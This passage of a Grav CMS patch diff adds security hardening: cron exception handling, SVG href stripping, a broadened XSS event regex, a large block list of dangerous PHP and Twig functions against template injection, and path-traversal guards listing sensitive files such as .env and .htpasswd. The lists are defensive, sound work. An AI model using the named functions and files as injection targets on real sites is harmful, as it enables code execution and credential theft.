* Check if recovery mode is enabled in system config (updates.recovery_mode).
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
$configFile = $this->userPath . '/config/system.yaml';
|
||||
if (!is_file($configFile)) {
|
||||
return true; // Default enabled
|
||||
}
|
||||
|
||||
$content = file_get_contents($configFile);
|
||||
if ($content === false) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Simple regex-based check to avoid loading full YAML parser
|
||||
if (preg_match('/^\s*updates:\s*\n(?:\s+\w+:.*\n)*?\s+recovery_mode:\s*(true|false|1|0)\s*$/m', $content, $matches)) {
|
||||
return in_array(strtolower($matches[1]), ['true', '1'], true);
|
||||
}
|
||||
|
||||
return true; // Default enabled
|
||||
}
|
||||
|
||||
/**
|
||||
* @return string
|
||||
*/
|
||||
|
||||
@@ -21,14 +21,19 @@ trait IntervalTrait
|
||||
{
|
||||
/**
|
||||
* Set the Job execution time.
|
||||
*compo
|
||||
*
|
||||
* @param string $expression
|
||||
* @return self
|
||||
*/
|
||||
public function at($expression)
|
||||
{
|
||||
$this->at = $expression;
|
||||
$this->executionTime = CronExpression::factory($expression);
|
||||
try {
|
||||
$this->executionTime = CronExpression::factory($expression);
|
||||
} catch (InvalidArgumentException $e) {
|
||||
// Invalid cron expression - set to null to prevent DoS
|
||||
$this->executionTime = null;
|
||||
}
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
@@ -193,11 +193,32 @@ class Job
|
||||
}
|
||||
|
||||
/**
|
||||
* @return CronExpression
|
||||
* @return CronExpression|null
|
||||
*/
|
||||
public function getCronExpression()
|
||||
{
|
||||
return CronExpression::factory($this->at);
|
||||
try {
|
||||
return CronExpression::factory($this->at);
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
// Invalid cron expression - return null to prevent DoS
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a cron expression
|
||||
*
|
||||
* @param string $expression
|
||||
* @return bool
|
||||
*/
|
||||
public static function isValidCronExpression(string $expression): bool
|
||||
{
|
||||
try {
|
||||
CronExpression::factory($expression);
|
||||
return true;
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -51,6 +51,7 @@ class Security
|
||||
{
|
||||
if (Grav::instance()['config']->get('security.sanitize_svg')) {
|
||||
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
|
||||
$sanitizer->addDisallowedAttributes(['href', 'xlink:href']);
|
||||
$sanitized = $sanitizer->sanitize($svg);
|
||||
if (is_string($sanitized)) {
|
||||
$svg = $sanitized;
|
||||
@@ -70,6 +71,7 @@ class Security
|
||||
{
|
||||
if (file_exists($file) && Grav::instance()['config']->get('security.sanitize_svg')) {
|
||||
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
|
||||
$sanitizer->addDisallowedAttributes(['href', 'xlink:href']);
|
||||
$original_svg = file_get_contents($file);
|
||||
$clean_svg = $sanitizer->sanitize($original_svg);
|
||||
|
||||
@@ -222,8 +224,9 @@ class Security
|
||||
|
||||
// Set the patterns we'll test against
|
||||
$patterns = [
|
||||
// Match any attribute starting with "on" or xmlns
|
||||
'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',
|
||||
// Match any attribute starting with "on" or xmlns (must be preceded by whitespace/special chars)
|
||||
// Allow optional whitespace between 'on' and event name to catch obfuscation attempts
|
||||
'on_events' => '#(<[^>]+[\s\x00-\x20\"\'\/])(on\s*[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',
|
||||
|
||||
// Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols
|
||||
'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\&\#58)\S.*?#iUu',
|
||||
@@ -241,8 +244,16 @@ class Security
|
||||
// Iterate over rules and return label if fail
|
||||
foreach ($patterns as $name => $regex) {
|
||||
if (!empty($enabled_rules[$name])) {
|
||||
if (preg_match($regex, (string) $string) || preg_match($regex, (string) $stripped) || preg_match($regex, $orig)) {
|
||||
return $name;
|
||||
// Skip testing 'on_events' against stripped version to avoid false positives
|
||||
// with tags like <caption>, <button>, <section> that end with 'on' or contain 'on'
|
||||
if ($name === 'on_events') {
|
||||
if (preg_match($regex, (string) $string) || preg_match($regex, $orig)) {
|
||||
return $name;
|
||||
}
|
||||
} else {
|
||||
if (preg_match($regex, (string) $string) || preg_match($regex, (string) $stripped) || preg_match($regex, $orig)) {
|
||||
return $name;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -262,29 +273,161 @@ class Security
|
||||
];
|
||||
}
|
||||
|
||||
/** @var string|null Cached regex pattern for dangerous functions in Twig blocks */
|
||||
private static ?string $dangerousTwigFunctionsPattern = null;
|
||||
|
||||
/** @var string|null Cached regex pattern for dangerous properties */
|
||||
private static ?string $dangerousTwigPropertiesPattern = null;
|
||||
|
||||
/** @var string|null Cached regex pattern for dangerous function calls */
|
||||
private static ?string $dangerousFunctionCallsPattern = null;
|
||||
|
||||
/** @var string|null Cached regex pattern for string concatenation bypass */
|
||||
private static ?string $dangerousJoinPattern = null;
|
||||
|
||||
/**
|
||||
* Get compiled dangerous Twig patterns (cached for performance)
|
||||
*
|
||||
* @return array{functions: string, properties: string, calls: string, join: string}
|
||||
*/
|
||||
private static function getDangerousTwigPatterns(): array
|
||||
{
|
||||
if (self::$dangerousTwigFunctionsPattern === null) {
|
||||
// Dangerous Twig functions and methods that should be blocked
|
||||
$bad_twig_functions = [
|
||||
// Twig internals
|
||||
'twig_array_map', 'twig_array_filter', 'call_user_func', 'call_user_func_array',
|
||||
'forward_static_call', 'forward_static_call_array',
|
||||
// Twig environment manipulation
|
||||
'registerUndefinedFunctionCallback', 'registerUndefinedFilterCallback',
|
||||
'undefined_functions', 'undefined_filters',
|
||||
// File operations
|
||||
'read_file', 'file_get_contents', 'file_put_contents', 'fopen', 'fread', 'fwrite',
|
||||
'fclose', 'readfile', 'file', 'fpassthru', 'fgetcsv', 'fputcsv', 'ftruncate',
|
||||
'fputs', 'fgets', 'fgetc', 'fflush', 'flock', 'glob', 'rename', 'copy', 'unlink',
|
||||
'rmdir', 'mkdir', 'symlink', 'link', 'chmod', 'chown', 'chgrp', 'touch', 'tempnam',
|
||||
'parse_ini_file', 'highlight_file', 'show_source',
|
||||
// Code execution
|
||||
'exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open', 'proc_close',
|
||||
'proc_terminate', 'proc_nice', 'proc_get_status', 'pcntl_exec', 'pcntl_fork',
|
||||
'pcntl_signal', 'pcntl_alarm', 'pcntl_setpriority', 'eval', 'assert',
|
||||
'create_function', 'preg_replace', 'preg_replace_callback', 'ob_start',
|
||||
// Dynamic evaluation
|
||||
'evaluate_twig', 'evaluate',
|
||||
// Serialization
|
||||
'unserialize', 'serialize', 'var_export', 'token_get_all',
|
||||
// Network functions (SSRF)
|
||||
'curl_init', 'curl_exec', 'curl_multi_exec', 'fsockopen', 'pfsockopen',
|
||||
'socket_create', 'stream_socket_client', 'stream_socket_server',
|
||||
// Info disclosure
|
||||
'phpinfo', 'getenv', 'putenv', 'get_current_user', 'getmyuid', 'getmygid',
|
||||
'getmypid', 'get_cfg_var', 'ini_get', 'ini_set', 'ini_alter', 'ini_restore',
|
||||
'get_defined_vars', 'get_defined_functions', 'get_defined_constants',
|
||||
'get_loaded_extensions', 'get_extension_funcs', 'phpversion', 'php_uname',
|
||||
// Reflection
|
||||
'ReflectionClass', 'ReflectionFunction', 'ReflectionMethod',
|
||||
'ReflectionProperty', 'ReflectionObject',
|
||||
// Include/require
|
||||
'include', 'include_once', 'require', 'require_once',
|
||||
// Callback arrays
|
||||
'array_map', 'array_filter', 'array_reduce', 'array_walk', 'array_walk_recursive',
|
||||
'usort', 'uasort', 'uksort', 'iterator_apply',
|
||||
// Output manipulation
|
||||
'header', 'headers_sent', 'header_remove', 'http_response_code',
|
||||
// Mail
|
||||
'mail',
|
||||
// Misc dangerous
|
||||
'extract', 'parse_str', 'register_shutdown_function', 'register_tick_function',
|
||||
'set_error_handler', 'set_exception_handler', 'spl_autoload_register',
|
||||
'apache_child_terminate', 'posix_kill', 'posix_setpgid', 'posix_setsid',
|
||||
'posix_setuid', 'posix_setgid', 'posix_mkfifo', 'dl',
|
||||
// XML (XXE)
|
||||
'simplexml_load_file', 'simplexml_load_string', 'DOMDocument', 'XMLReader',
|
||||
// Database
|
||||
'mysqli_query', 'pg_query', 'sqlite_query',
|
||||
];
|
||||
|
||||
// Dangerous property/method access patterns (regex patterns)
|
||||
$bad_twig_properties = [
|
||||
// Twig environment access
|
||||
'twig\.twig\b', 'grav\.twig\.twig\b', 'twig\.(?:get|add|set)(?:Function|Filter|Extension|Loader|Cache|Runtime)',
|
||||
'twig\.addRuntimeLoader',
|
||||
// Config modification
|
||||
'config\.set\s*\(', 'grav\.config\.set\s*\(', '\.safe_functions', '\.safe_filters',
|
||||
'\.undefined_functions', '\.undefined_filters', 'twig_vars\[', 'config\.join\s*\(',
|
||||
// Scheduler access
|
||||
'grav\.scheduler\b', 'scheduler\.(?:addCommand|save|run|add|remove)\s*\(?',
|
||||
// Core escaper
|
||||
'core\.setEscaper', 'setEscaper\s*\(',
|
||||
// Context access
|
||||
'_context\b', '_self\b', '_charset\b',
|
||||
// User modification
|
||||
'grav\.user\.(?:update|save)\s*\(', 'grav\.accounts\.user\s*\([^)]*\)\.(?:update|save)',
|
||||
'\.(?:set|setNested)Property\s*\(',
|
||||
// Flex objects
|
||||
'(?:get)?[Ff]lexDirectory\s*\(',
|
||||
// Locator write mode
|
||||
'grav\.locator\.findResource\s*\([^)]*,\s*true',
|
||||
// Plugin/theme manipulation
|
||||
'grav\.(?:plugins|themes)\.get\s*\(',
|
||||
// Session manipulation
|
||||
'session\.(?:set|setFlash)\s*\(',
|
||||
// Cache manipulation
|
||||
'cache\.(?:delete|clear|purge)',
|
||||
// Backups and GPM
|
||||
'grav\.(?:backups|gpm)\b',
|
||||
];
|
||||
|
||||
// Build combined patterns (compile once, use many times)
|
||||
// Use word boundaries to avoid false positives (e.g., 'mail' matching 'email')
|
||||
$quotedFunctions = array_map(fn($f) => '\b' . preg_quote($f, '/') . '\b', $bad_twig_functions);
|
||||
$functionsPattern = implode('|', $quotedFunctions);
|
||||
|
||||
// Pattern for functions in Twig blocks
|
||||
self::$dangerousTwigFunctionsPattern = '/(({{\s*|{%\s*)[^}]*?(' . $functionsPattern . ')[^}]*?(\s*}}|\s*%}))/i';
|
||||
|
||||
// Pattern for properties (already regex patterns, just combine)
|
||||
$propertiesPattern = implode('|', $bad_twig_properties);
|
||||
self::$dangerousTwigPropertiesPattern = '/(({{\s*|{%\s*)[^}]*?(' . $propertiesPattern . ')[^}]*?(\s*}}|\s*%}))/i';
|
||||
|
||||
// Pattern for function calls outside Twig blocks (for nested eval)
|
||||
self::$dangerousFunctionCallsPattern = '/\b(' . $functionsPattern . ')\s*\(/i';
|
||||
|
||||
// Pattern for string concatenation bypass attempts
|
||||
$suspiciousFragments = ['safe_func', 'safe_filt', 'undefined_', 'scheduler', 'registerUndefined', '_context', 'setEscaper'];
|
||||
$fragmentsPattern = implode('|', array_map(fn($f) => preg_quote($f, '/'), $suspiciousFragments));
|
||||
self::$dangerousJoinPattern = '/(({{\s*|{%\s*)[^}]*?\[[^\]]*[\'"](' . $fragmentsPattern . ')[\'"][^\]]*\]\s*\|\s*join[^}]*?(\s*}}|\s*%}))/i';
|
||||
}
|
||||
|
||||
return [
|
||||
'functions' => self::$dangerousTwigFunctionsPattern,
|
||||
'properties' => self::$dangerousTwigPropertiesPattern,
|
||||
'calls' => self::$dangerousFunctionCallsPattern,
|
||||
'join' => self::$dangerousJoinPattern,
|
||||
];
|
||||
}
|
||||
|
||||
public static function cleanDangerousTwig(string $string): string
|
||||
{
|
||||
if ($string === '') {
|
||||
// Early exit for empty strings or strings without Twig
|
||||
if ($string === '' || (strpos($string, '{{') === false && strpos($string, '{%') === false)) {
|
||||
return $string;
|
||||
}
|
||||
|
||||
$bad_twig = [
|
||||
'twig_array_map',
|
||||
'twig_array_filter',
|
||||
'call_user_func',
|
||||
'registerUndefinedFunctionCallback',
|
||||
'undefined_functions',
|
||||
'twig.getFunction',
|
||||
'core.setEscaper',
|
||||
'twig.safe_functions',
|
||||
'read_file',
|
||||
];
|
||||
// Get cached compiled patterns
|
||||
$patterns = self::getDangerousTwigPatterns();
|
||||
|
||||
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
|
||||
// Pass 1: Block dangerous functions in Twig blocks
|
||||
$string = preg_replace($patterns['functions'], '{# BLOCKED: $1 #}', $string);
|
||||
|
||||
foreach ($bad_twig as $func) {
|
||||
$string = preg_replace('/\b' . preg_quote($func, '/') . '(\s*\([^)]*\))?\b/i', '{# $1 #}', $string);
|
||||
}
|
||||
// Pass 2: Block dangerous property access patterns
|
||||
$string = preg_replace($patterns['properties'], '{# BLOCKED: $1 #}', $string);
|
||||
|
||||
// Pass 3: Block dangerous function calls (for nested eval bypass)
|
||||
$string = preg_replace($patterns['calls'], '{# BLOCKED: $0 #}', $string);
|
||||
|
||||
// Pass 4: Block string concatenation bypass attempts
|
||||
$string = preg_replace($patterns['join'], '{# BLOCKED: $1 #}', $string);
|
||||
|
||||
return $string;
|
||||
}
|
||||
|
||||
@@ -20,6 +20,7 @@ use Grav\Common\Language\Language;
|
||||
use Grav\Framework\Mime\MimeTypes;
|
||||
use Pimple\Container;
|
||||
use Pimple\ServiceProviderInterface;
|
||||
use RocketTheme\Toolbox\File\PhpFile;
|
||||
use RocketTheme\Toolbox\File\YamlFile;
|
||||
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
|
||||
|
||||
@@ -85,15 +86,30 @@ class ConfigServiceProvider implements ServiceProviderInterface
|
||||
/** @var UniformResourceLocator $locator */
|
||||
$locator = $container['locator'];
|
||||
|
||||
$cache = $locator->findResource('cache://compiled/blueprints', true, true);
|
||||
$cache = $locator->findResource('cache://compiled/blueprints', true, true);
|
||||
|
||||
$files = [];
|
||||
$paths = $locator->findResources('blueprints://config');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'blueprints');
|
||||
$paths = $locator->findResources('themes://');
|
||||
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths, 'blueprints');
|
||||
// Try to load cached file list to avoid filesystem scanning on every request
|
||||
$files = static::loadCachedFileList($locator, $cache, 'blueprints', $setup->environment);
|
||||
|
||||
if ($files === null) {
|
||||
// Cache miss - scan filesystem for blueprint files
|
||||
$files = [];
|
||||
$paths = $locator->findResources('blueprints://config');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'blueprints');
|
||||
$paths = $locator->findResources('themes://');
|
||||
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths, 'blueprints');
|
||||
|
||||
// Save file list cache for next request
|
||||
static::saveCachedFileList($locator, $cache, 'blueprints', $setup->environment, $files);
|
||||
|
||||
// Also invalidate the compiled blueprints cache to force rebuild
|
||||
$masterBlueprints = "{$cache}/master-{$setup->environment}.php";
|
||||
if (file_exists($masterBlueprints)) {
|
||||
@unlink($masterBlueprints);
|
||||
}
|
||||
}
|
||||
|
||||
$blueprints = new CompiledBlueprints($cache, $files, GRAV_ROOT);
|
||||
|
||||
@@ -112,15 +128,30 @@ class ConfigServiceProvider implements ServiceProviderInterface
|
||||
/** @var UniformResourceLocator $locator */
|
||||
$locator = $container['locator'];
|
||||
|
||||
$cache = $locator->findResource('cache://compiled/config', true, true);
|
||||
$cache = $locator->findResource('cache://compiled/config', true, true);
|
||||
|
||||
$files = [];
|
||||
$paths = $locator->findResources('config://');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths);
|
||||
$paths = $locator->findResources('themes://');
|
||||
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths);
|
||||
// Try to load cached file list to avoid filesystem scanning on every request
|
||||
$files = static::loadCachedFileList($locator, $cache, 'config', $setup->environment);
|
||||
|
||||
if ($files === null) {
|
||||
// Cache miss - scan filesystem for config files
|
||||
$files = [];
|
||||
$paths = $locator->findResources('config://');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths);
|
||||
$paths = $locator->findResources('themes://');
|
||||
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths);
|
||||
|
||||
// Save file list cache for next request
|
||||
static::saveCachedFileList($locator, $cache, 'config', $setup->environment, $files);
|
||||
|
||||
// Also invalidate the compiled config cache to force rebuild
|
||||
$masterConfig = "{$cache}/master-{$setup->environment}.php";
|
||||
if (file_exists($masterConfig)) {
|
||||
@unlink($masterConfig);
|
||||
}
|
||||
}
|
||||
|
||||
$compiled = new CompiledConfig($cache, $files, GRAV_ROOT);
|
||||
$compiled->setBlueprints(fn() => $container['blueprints']);
|
||||
@@ -151,12 +182,28 @@ class ConfigServiceProvider implements ServiceProviderInterface
|
||||
|
||||
// Process languages only if enabled in configuration.
|
||||
if ($config->get('system.languages.translations', true)) {
|
||||
$paths = $locator->findResources('languages://');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'languages');
|
||||
$paths = static::pluginFolderPaths($paths, 'languages');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
// Try to load cached file list to avoid filesystem scanning on every request
|
||||
$files = static::loadCachedFileList($locator, $cache, 'languages', $setup->environment);
|
||||
|
||||
if ($files === null) {
|
||||
// Cache miss - scan filesystem for language files
|
||||
$files = [];
|
||||
$paths = $locator->findResources('languages://');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'languages');
|
||||
$paths = static::pluginFolderPaths($paths, 'languages');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
|
||||
// Save file list cache for next request
|
||||
static::saveCachedFileList($locator, $cache, 'languages', $setup->environment, $files);
|
||||
|
||||
// Also invalidate the compiled languages cache to force rebuild
|
||||
$masterLanguages = "{$cache}/master-{$setup->environment}.php";
|
||||
if (file_exists($masterLanguages)) {
|
||||
@unlink($masterLanguages);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$languages = new CompiledLanguages($cache, $files, GRAV_ROOT);
|
||||
@@ -195,4 +242,154 @@ class ConfigServiceProvider implements ServiceProviderInterface
|
||||
}
|
||||
return $paths;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load cached file list if still valid (based on directory and file mtimes).
|
||||
*
|
||||
* @param UniformResourceLocator $locator
|
||||
* @param string $cacheDir
|
||||
* @param string $type
|
||||
* @param string $environment
|
||||
* @return array|null Returns cached files array or null if cache is invalid
|
||||
*/
|
||||
protected static function loadCachedFileList(UniformResourceLocator $locator, string $cacheDir, string $type, string $environment): ?array
|
||||
{
|
||||
$cacheFile = "{$cacheDir}/filelist-{$type}-{$environment}.php";
|
||||
|
||||
if (!file_exists($cacheFile)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$cache = include $cacheFile;
|
||||
|
||||
if (!is_array($cache) || !isset($cache['directories'], $cache['files'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Validate cache by checking directory mtimes
|
||||
foreach ($cache['directories'] as $dir => $mtime) {
|
||||
// Check if directory still exists and mtime hasn't changed
|
||||
$currentMtime = @filemtime($dir);
|
||||
if ($currentMtime === false || $currentMtime !== $mtime) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// Validate cache by checking individual file mtimes
|
||||
if (isset($cache['file_mtimes'])) {
|
||||
foreach ($cache['file_mtimes'] as $file => $mtime) {
|
||||
$currentMtime = @filemtime($file);
|
||||
if ($currentMtime === false || $currentMtime !== $mtime) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $cache['files'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Save file list to cache with directory and file mtimes for validation.
|
||||
*
|
||||
* @param UniformResourceLocator $locator
|
||||
* @param string $cacheDir
|
||||
* @param string $type
|
||||
* @param string $environment
|
||||
* @param array $files
|
||||
* @return void
|
||||
*/
|
||||
protected static function saveCachedFileList(UniformResourceLocator $locator, string $cacheDir, string $type, string $environment, array $files): void
|
||||
{
|
||||
// Collect all directories that were scanned based on type
|
||||
$directories = [];
|
||||
|
||||
// Collect mtimes for all individual config files
|
||||
$fileMtimes = [];
|
||||
foreach ($files as $group) {
|
||||
foreach ($group as $item) {
|
||||
if (isset($item['file'])) {
|
||||
$filePath = GRAV_ROOT . '/' . $item['file'];
|
||||
if (file_exists($filePath)) {
|
||||
$fileMtimes[$filePath] = filemtime($filePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Type-specific base directories
|
||||
if ($type === 'config') {
|
||||
$basePaths = $locator->findResources('config://');
|
||||
foreach ($basePaths as $path) {
|
||||
if (is_dir($path)) {
|
||||
$directories[$path] = filemtime($path);
|
||||
}
|
||||
}
|
||||
} elseif ($type === 'blueprints') {
|
||||
$basePaths = $locator->findResources('blueprints://config');
|
||||
foreach ($basePaths as $path) {
|
||||
if (is_dir($path)) {
|
||||
$directories[$path] = filemtime($path);
|
||||
}
|
||||
}
|
||||
} elseif ($type === 'languages') {
|
||||
$basePaths = $locator->findResources('languages://');
|
||||
foreach ($basePaths as $path) {
|
||||
if (is_dir($path)) {
|
||||
$directories[$path] = filemtime($path);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get plugin directories (used by all types)
|
||||
$pluginPaths = $locator->findResources('plugins://');
|
||||
foreach ($pluginPaths as $path) {
|
||||
if (is_dir($path)) {
|
||||
$directories[$path] = filemtime($path);
|
||||
// Also track individual plugin directories for granular invalidation
|
||||
$iterator = new DirectoryIterator($path);
|
||||
foreach ($iterator as $dir) {
|
||||
if ($dir->isDir() && !$dir->isDot()) {
|
||||
$directories[$dir->getPathname()] = $dir->getMTime();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get theme directories (used by config and blueprints)
|
||||
if ($type !== 'languages') {
|
||||
$themePaths = $locator->findResources('themes://');
|
||||
foreach ($themePaths as $path) {
|
||||
if (is_dir($path)) {
|
||||
$directories[$path] = filemtime($path);
|
||||
// Also track individual theme directories
|
||||
$iterator = new DirectoryIterator($path);
|
||||
foreach ($iterator as $dir) {
|
||||
if ($dir->isDir() && !$dir->isDot()) {
|
||||
$directories[$dir->getPathname()] = $dir->getMTime();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$cache = [
|
||||
'@class' => static::class,
|
||||
'type' => $type,
|
||||
'environment' => $environment,
|
||||
'timestamp' => time(),
|
||||
'directories' => $directories,
|
||||
'file_mtimes' => $fileMtimes,
|
||||
'files' => $files,
|
||||
];
|
||||
|
||||
// Ensure cache directory exists
|
||||
if (!is_dir($cacheDir)) {
|
||||
mkdir($cacheDir, 0775, true);
|
||||
}
|
||||
|
||||
$cacheFile = "{$cacheDir}/filelist-{$type}-{$environment}.php";
|
||||
$file = PhpFile::instance($cacheFile);
|
||||
$file->save($cache);
|
||||
$file->free();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,11 +4,17 @@ declare(strict_types=1);
|
||||
|
||||
namespace Grav\Common\Twig\Compatibility;
|
||||
|
||||
use Twig\Loader\ChainLoader;
|
||||
use Twig\Loader\FilesystemLoader;
|
||||
use Twig\Loader\LoaderInterface;
|
||||
use Twig\Source;
|
||||
|
||||
/**
|
||||
* Decorates the active Twig loader to rewrite legacy Twig 1/2 constructs on the fly.
|
||||
*
|
||||
* This loader wraps the ChainLoader and transforms template source code for Twig 3 compatibility.
|
||||
* It also proxies common FilesystemLoader methods to maintain backwards compatibility with
|
||||
* plugins that may call these methods on the loader.
|
||||
*/
|
||||
class Twig3CompatibilityLoader implements LoaderInterface
|
||||
{
|
||||
@@ -18,6 +24,110 @@ class Twig3CompatibilityLoader implements LoaderInterface
|
||||
) {
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the inner loader (ChainLoader).
|
||||
*
|
||||
* @return LoaderInterface
|
||||
*/
|
||||
public function getInnerLoader(): LoaderInterface
|
||||
{
|
||||
return $this->inner;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the FilesystemLoader from the inner ChainLoader.
|
||||
*
|
||||
* @return FilesystemLoader|null
|
||||
*/
|
||||
public function getFilesystemLoader(): ?FilesystemLoader
|
||||
{
|
||||
if ($this->inner instanceof ChainLoader) {
|
||||
foreach ($this->inner->getLoaders() as $loader) {
|
||||
if ($loader instanceof FilesystemLoader) {
|
||||
return $loader;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Proxy addPath to the FilesystemLoader.
|
||||
*
|
||||
* @param string $path
|
||||
* @param string $namespace
|
||||
* @return void
|
||||
*/
|
||||
public function addPath(string $path, string $namespace = FilesystemLoader::MAIN_NAMESPACE): void
|
||||
{
|
||||
$loader = $this->getFilesystemLoader();
|
||||
if ($loader !== null) {
|
||||
$loader->addPath($path, $namespace);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Proxy prependPath to the FilesystemLoader.
|
||||
*
|
||||
* @param string $path
|
||||
* @param string $namespace
|
||||
* @return void
|
||||
*/
|
||||
public function prependPath(string $path, string $namespace = FilesystemLoader::MAIN_NAMESPACE): void
|
||||
{
|
||||
$loader = $this->getFilesystemLoader();
|
||||
if ($loader !== null) {
|
||||
$loader->prependPath($path, $namespace);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Proxy getPaths to the FilesystemLoader.
|
||||
*
|
||||
* @param string $namespace
|
||||
* @return array
|
||||
*/
|
||||
public function getPaths(string $namespace = FilesystemLoader::MAIN_NAMESPACE): array
|
||||
{
|
||||
$loader = $this->getFilesystemLoader();
|
||||
if ($loader !== null) {
|
||||
return $loader->getPaths($namespace);
|
||||
}
|
||||
|
||||
return [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Proxy getNamespaces to the FilesystemLoader.
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getNamespaces(): array
|
||||
{
|
||||
$loader = $this->getFilesystemLoader();
|
||||
if ($loader !== null) {
|
||||
return $loader->getNamespaces();
|
||||
}
|
||||
|
||||
return [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Proxy setPaths to the FilesystemLoader.
|
||||
*
|
||||
* @param array $paths
|
||||
* @param string $namespace
|
||||
* @return void
|
||||
*/
|
||||
public function setPaths(array $paths, string $namespace = FilesystemLoader::MAIN_NAMESPACE): void
|
||||
{
|
||||
$loader = $this->getFilesystemLoader();
|
||||
if ($loader !== null) {
|
||||
$loader->setPaths($paths, $namespace);
|
||||
}
|
||||
}
|
||||
|
||||
public function getSourceContext(string $name): Source
|
||||
{
|
||||
$source = $this->inner->getSourceContext($name);
|
||||
|
||||
@@ -638,11 +638,16 @@ class GravExtension extends AbstractExtension implements GlobalsInterface
|
||||
* Get Cron object for a crontab 'at' format
|
||||
*
|
||||
* @param string $at
|
||||
* @return CronExpression
|
||||
* @return CronExpression|null
|
||||
*/
|
||||
public function cronFunc($at)
|
||||
{
|
||||
return CronExpression::factory($at);
|
||||
try {
|
||||
return CronExpression::factory($at);
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
// Invalid cron expression - return null to prevent DoS
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -1438,11 +1443,42 @@ class GravExtension extends AbstractExtension implements GlobalsInterface
|
||||
$filepath = $locator->findResource($filepath);
|
||||
}
|
||||
|
||||
if ($filepath && file_exists($filepath)) {
|
||||
return file_get_contents($filepath);
|
||||
if (!$filepath || !file_exists($filepath)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return false;
|
||||
// Security: Get the real path to prevent path traversal
|
||||
$realpath = realpath($filepath);
|
||||
if ($realpath === false) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Security: Ensure the file is within GRAV_ROOT
|
||||
$gravRoot = realpath(GRAV_ROOT);
|
||||
if ($gravRoot === false || strpos($realpath, $gravRoot) !== 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Security: Block access to sensitive files and directories
|
||||
$blockedPatterns = [
|
||||
'/\/accounts\/[^\/]+\.yaml$/', // User account files
|
||||
'/\/config\/security\.yaml$/', // Security config
|
||||
'/\/\.env/', // Environment files
|
||||
'/\/\.git/', // Git directory
|
||||
'/\/\.htaccess/', // Apache config
|
||||
'/\/\.htpasswd/', // Apache passwords
|
||||
'/\/vendor\//', // Composer vendor (may contain sensitive info)
|
||||
'/\/logs\//', // Log files
|
||||
'/\/backup\//', // Backup files
|
||||
];
|
||||
|
||||
foreach ($blockedPatterns as $pattern) {
|
||||
